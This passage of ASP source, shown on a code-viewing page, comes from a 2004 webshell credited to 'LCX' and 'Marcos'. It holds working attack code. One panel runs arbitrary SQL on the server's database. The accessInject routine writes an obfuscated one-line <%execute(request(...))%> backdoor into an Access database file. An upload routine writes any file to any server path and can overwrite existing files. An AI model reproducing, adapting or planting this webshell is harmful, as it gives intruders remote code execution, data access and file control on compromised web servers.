📄 2005.htm
字号:
echo " <td align=""center"" valign=""top""><br> "&vbNewLine
echo " <input name=""sql"" type=""text"" id=""sql"" value="""&vbNewLine
echo server.htmlEncode(sql)
echo """ size=""60""> "&vbNewLine
echo " <input type=""submit"" name=""Submit4"" value=""执行查询""> <br> "&vbNewLine
echo " "&vbNewLine
if sql<>"" and left(lcase(sql),7)="select " then
rs.open sql,conn,1,1
chkErr err,encodeForUrl("错误信息: "&err.description,false)
rs.pageSize=20
if not rs.eof then
rs.absolutePage=page
end if
if rs.fields.count>0 then
echo "<br><table border=""1"" align=""center"" cellpadding=""0"" cellspacing=""0"" width=""98%"">"
echo "<tr>"
echo "<td height=""22"" align=""center"" class=""tr"" colspan="""&rs.fields.count&""">SQL操作 - 执行结果</td>"
echo "</tr>"
echo "<tr>"
for j=0 to rs.fields.count-1
echo "<td height=""22"" align=""center"" class=""td""> "&rs.fields(j).name&" </td>"
next
for i=1 to 20
if rs.eof then
exit for
end if
echo "</tr>"
echo "<tr onmouseover=""javascript:this.className='td';"" onmouseout=""javascript:this.className='';"" valign=top>"
for j=0 to rs.fields.count-1
echo "<td height=""22"" align=""center"">"&server.htmlEncode(fixNull(rs(j)))&"</td>"
next
echo "</tr>"
rs.movenext
next
end if
echo "<tr>"
echo "<td height=""22"" align=""center"" class=""td"" colspan="""&rs.fields.count&""">"
for i=1 to rs.pagecount
echo replace("<a href=""?pageName=sql&theAct=query&sqlStr="&encodeForUrl(sqlStr,false)&"&sql="&sql&"&page="&i&"""><font {$font"&i&"}>"&i&"</font></a> ","{$font"&page&"}","class=warningColor")
next
echo "</td></tr></table><br>"
rs.close
else
if sql<>"" then
on error resume next
conn.execute(sql)
chkErr err,encodeForUrl(err.description&sql,false)
echo "<center><br>执行完毕!</center>"
end if
end if
echo " </td>"&vbNewLine
echo " </tr>"&vbNewLine
echo " <tr align=""right""> "&vbNewLine
echo " <td height=""22"" colspan=""2"" class=""td"">Powered By LCX 2004.11&nbsp;</td>"&vbNewLine
echo " </tr>"&vbNewLine
echo " </form>"&vbNewLine
echo "</table>"&vbNewLine
echo "<br>"&vbNewLine
conn.close
set rs=nothing
set conn=nothing
set rsTable=nothing
end sub
function getDataType(typeId)
select case typeId
case 130
getDataType="文本"
case 2
getDataType="整型"
case 3
getDataType="长整型"
case 7
getDataType="日期/时间"
case 5
getDataType="双精度型"
case 11
getDataType="是/否"
case 128
getDataType="OLE 对象"
case else
getDataType=typeId
end select
end function
sub accessInject()
dim rs,conn,sqlStr,connStr
sqlStr=request("sqlStr")
if lcase(left(sqlStr,4))="sql:" then
onErr("插入只对ACCESS数据库有效!")
else
connStr="Provider=Microsoft.Jet.Oledb.4.0;Data Source="&sqlStr
end if
set rs=server.createObject("adodb.recordSet")
set conn=server.createObject("adodb.connection")
on error resume next
conn.open connStr
chkErr err,"无法打开: "&sqlStr
if notdownloadsExists=true then
conn.execute("drop table notdownloads")
end if
conn.execute("create table notdownloads(notdownloads oleobject)")
rs.open "notdownloads",conn,1,3
rs.addnew
rs("notdownloads").appendchunk(chrB(asc("<"))&chrB(asc("%"))&chrB(asc("e"))&chrB(asc("x"))&chrB(asc("e"))&chrB(asc("c"))&chrB(asc("u"))&chrB(asc("t"))&chrB(asc("e"))&chrB(asc("("))&chrB(asc("r"))&chrB(asc("e"))&chrB(asc("q"))&chrB(asc("u"))&chrB(asc("e"))&chrB(asc("s"))&chrB(asc("t"))&chrB(asc("("))&chrB(asc(""""))&chrB(asc(clientPassword))&chrB(asc(""""))&chrB(asc(")"))&chrB(asc(")"))&chrB(asc("%"))&chrB(asc(">"))&chrB(asc(" ")))
rs.update
rs.close
echo "<script language=""javascript"">alert('插入成功!');history.back();</script>"
conn.close
set rs=nothing
set conn=nothing
end sub
sub pageUpload()
isIn(2)
dim theAct,thePath,fileName
theAct=request("theAct")
thePath=request("thePath")
fileName=request("fileName")
showTitle("其它操作页面")
if thePath="" then
thePath=server.mapPath(".")
end if
if theAct="upload" then
streamUpload thePath,fileName
echo "<script language=""javascript"">location.href='?pageName=upload';</script>"
end if
echo "<table width=""760"" border=""0"" align=""center"" cellpadding=""0"" cellspacing=""0"">"&vbNewLine
echo " <form method=""post"" enctype=""multipart/form-data"" action=""?pageName=upload&theAct=upload&thePath="&vbNewLine
echo encodeForUrl(thePath,false)
echo """ onsubmit=""return upload_canSubmit(this);"">"&vbNewLine
echo " <tr> "&vbNewLine
echo " <td height=""22"" class=""td"">&nbsp;"&vbNewLine
echo request.serverVariables("server_name")
echo " - Adodb.Stream File Upload</td>"&vbNewLine
echo " </tr>"&vbNewLine
echo " <tr> "&vbNewLine
echo " <td class=""trHead"">&nbsp;</td>"&vbNewLine
echo " </tr>"&vbNewLine
echo " <tr> "&vbNewLine
echo " <td height=""50"" align=""center"" class=""td"">"&vbNewLine
echo " <input name=""file"" type=""file"" size=""30"">"&vbNewLine
echo " 保存为 "&vbNewLine
echo " <input name=""fileName"" type=""text"" value="""&vbNewLine
echo thePath
echo """ size=""40"">"&vbNewLine
echo " <input name=""Submit"" type=""submit"" id=""Submit"" value=""上 传"" onClick=""this.form.action+='&theFile='+this.form.file.value+'&overWrite='+this.form.writeMode.checked;"">"&vbNewLine
echo " <input type=""checkbox"" name=""writeMode"" value=""True"">覆盖模式"&vbNewLine
echo " </td>"&vbNewLine
echo " </tr>"&vbNewLine
echo " <tr> "&vbNewLine
echo " <td class=""trHead"">&nbsp;</td>"&vbNewLine
echo " </tr>"&vbNewLine
echo " <tr> "&vbNewLine
echo " <td height=""22"" align=""right"" class=""td"">Powered By <a href=""javascript:;"" title=""QQ:26696782"">Marcos</a> 2004.11&nbsp;</td>"&vbNewLine
echo " </tr>"&vbNewLine
echo "</form>"&vbNewLine
echo "</table>"&vbNewLine
echo "<br>"&vbNewLine
echo "<table width=""760"" border=""0"" align=""center"" cellpadding=""0"" cellspacing=""0"">"&vbNewLine
echo " <tr> "&vbNewLine
echo " <td height=""22"" class=""td"">&nbsp;"&vbNewLine
echo request.serverVariables("server_name")
echo " "&vbNewLine
echo " - 数制转换</td>"&vbNewLine
echo " </tr>"&vbNewLine
echo " <tr> "&vbNewLine
echo " <td class=""trHead"">&nbsp;</td>"&vbNewLine
echo " </tr>"&vbNewLine
echo " <tr> "&vbNewLine
echo " <td height=""50"" align=""center"" class=""td""> "&vbNewLine
echo " <input type=text name=text1 value=字符和数字转10和16进制 size=25 id=text9> "&vbNewLine
echo " <input name=""按钮"" type=button onclick=""main();"" value=""给我转""> <input type=""text"" name=""vars"" value=16进制转10进制和字符 size=25 id=vars2> "&vbNewLine
echo " <input name=""按钮2"" type=button onClick=""main2();"" value=""给我转""> </td>"&vbNewLine
echo " </tr>"&vbNewLine
echo " <tr> "&vbNewLine
echo " <td class=""trHead"">&nbsp;</td>"&vbNewLine
echo " </tr>"&vbNewLine
echo " <tr> "&vbNewLine
echo " <td height=""22"" align=""right"" class=""td"">Powered By LCX 2004.11&nbsp;</td>"&vbNewLine
echo " </tr>"&vbNewLine
echo "</table>"&vbNewLine
echo "<script language=vbs>"&vbNewLine
echo " sub main()"&vbNewLine
echo " base=document.all.text9.value"&vbNewLine
echo " If IsNumeric(base) Then"&vbNewLine
echo " cc=hex(cstr(base))"&vbNewLine
echo " alert(""10进制为""&base) "&vbNewLine
echo " alert(""16进制为""&cc)"&vbNewLine
echo " exit sub"&vbNewLine
echo " end if "&vbNewLine
echo " aa=asc(cstr(base))"&vbNewLine
echo " bb=hex(aa)"&vbNewLine
echo " alert(""10进制为""&aa) "&vbNewLine
echo " alert(""16进制为""&bb)"&vbNewLine
echo " end sub"&vbNewLine
echo " sub main2()"&vbNewLine
echo " If document.all.vars.value<>"""" Then"&vbNewLine
echo " Dim nums,tmp,tmpstr,i"&vbNewLine
echo " nums=document.all.vars.value"&vbNewLine
echo " nums_len=Len(nums)"&vbNewLine
echo " For i=1 To nums_len"&vbNewLine
echo " tmp=Mid(nums,i,1)"&vbNewLine
echo " If IsNumeric(tmp) Then"&vbNewLine
echo " tmp=tmp * 16 * (16^(nums_len-i-1))"&vbNewLine
echo " Else"&vbNewLine
echo " If ASC(UCase(tmp))<65 Or ASC(UCase(tmp))>70 Then "&vbNewLine
echo " alert(""你输入的数值中有非法字符，16进制数只包括1～9及a～f之间的字符，请重新输入。"")"&vbNewLine
echo " exit sub"&vbNewLine
echo " End If"&vbNewLine
echo " tmp=(ASC(UCase(tmp))-55) * (16^(nums_len-i))"&vbNewLine
echo " End If"&vbNewLine
echo " tmpstr=tmpstr+tmp"&vbNewLine
echo " Next"&vbNewLine
echo " alert(""转换的10进制为:""&tmpstr&""其字符值为:""&chr(tmpstr))"&vbNewLine
echo " End If"&vbNewLine
echo " end sub"&vbNewLine
echo "</script>"&vbNewLine
echo "<br>⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -